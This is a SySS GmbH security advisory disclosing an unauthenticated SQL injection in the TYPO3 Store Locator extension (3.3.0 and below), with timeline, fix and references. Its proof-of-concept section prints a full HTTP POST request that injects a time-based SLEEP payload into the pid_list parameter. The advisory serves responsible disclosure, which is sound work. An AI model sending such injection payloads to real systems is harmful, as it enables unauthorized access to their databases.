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Advisory ID: SYSS-2015-011
Product: TYPO3 Extension Store Locator (locator)
Vendor: TYPO3 Association
Affected Version(s): 3.3.0 and below
Tested Version(s): 3.3.0
Vulnerability Type: SQL Injection (CWE-89) 
Risk Level: High
Solution Status: Open
Vendor Notification: 2015-02-27
Solution Date: 2015-04-27
Public Disclosure: 2015-06-22
CVE Reference: Not assigned
Author of Advisory: Franz G. Jahn, SySS GmbH, https://www.syss.de/advisories/

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Overview:
An SQL Injection vulnerability could be identified in the TYPO3
extension Store Locator (locator)

Store Locator (locator) is a TYPO3 extension which integrates GoogleMaps
into TYPO3.

The extension is described as follows (see [1]):

"Manage store locations, search by distance and show Google maps and
route maps, stores can be tt_address, fe users and tt_news records too.
Traffic-, bicycling- and weather-layer enabled in api v3."
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Vulnerability Details:

The SySS GmbH found an SQL injection vulnerability in the AJAX component
of the TYPO3 extension locator.

The attribute pid_list of the JSON encoded parameter data is not
validated server-side and can be therefore be abused to inject arbitrary
SQL statements.

This SQL injection vulnerability can be exploited by an
unauthenticated attacker by sending a specially crafted HTTP POST
request (see PoC section).

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Proof of Concept (PoC):

The following request can be used to delay the server response delay the
server response by five secondy:

POST /index.php?eID=tx_locator_eID HTTP/1.1
Host: <Host>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

ref=Tuebingen%3ADE%3A20%3A&data={"pid_list":"1+AND+SLEEP(5)","radiusPresets":"20","resultLimit":"300"}&tx_locator_pi1%5Baction%5D=getMarkers&tx_locator_pi1%5Bsearch%5D=Tuebingen%3ADE%3A23000%3A&tx_locator_pi1%5Bpw%5D=0

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Solution:

Update extension to the latest version.

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Disclosure Timeline:

2015-02-23: Vulnerability discovered
2015-02-27: Vulnerability reported to vendor
2015-04-27: Vendor releases fix for the described security vulnerabilities
2015-06-15: Release of the TYPO3 Security Bulletin TYPO3-EXT-SA-2015-09 [2]
2015-06-22: Public release of security advisory

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References:

[1] TYPO3, Extension Store Locator (locator)
    http://typo3.org/extensions/repository/view/locator
[2] TYPO3, TYPO3-EXT-SA-2015-09: SQL Injection vulnerability in extension Store
    Locator (locator)
    http://typo3.org/teams/security/security-bulletins/typo3-extensions/typo3-ext-sa-2015-014/
[3] SySS Security Advisory SYSS-2015-011
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-011.txt
[4] SySS GmbH, SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

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Credits:

This Security vulnerability was found by Franz G. Jahn of the SySS GmbH.

E-Mail: franz.jahn@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Franz_Jahn.asc
Key ID: 0xD06A14DE
Key Fingerprint: 2D26 E435 DF7F 572D A0C9 1DE8 D5A6 1496 D06A 14DE

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Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of  this security advisory is available on the SySS Web
site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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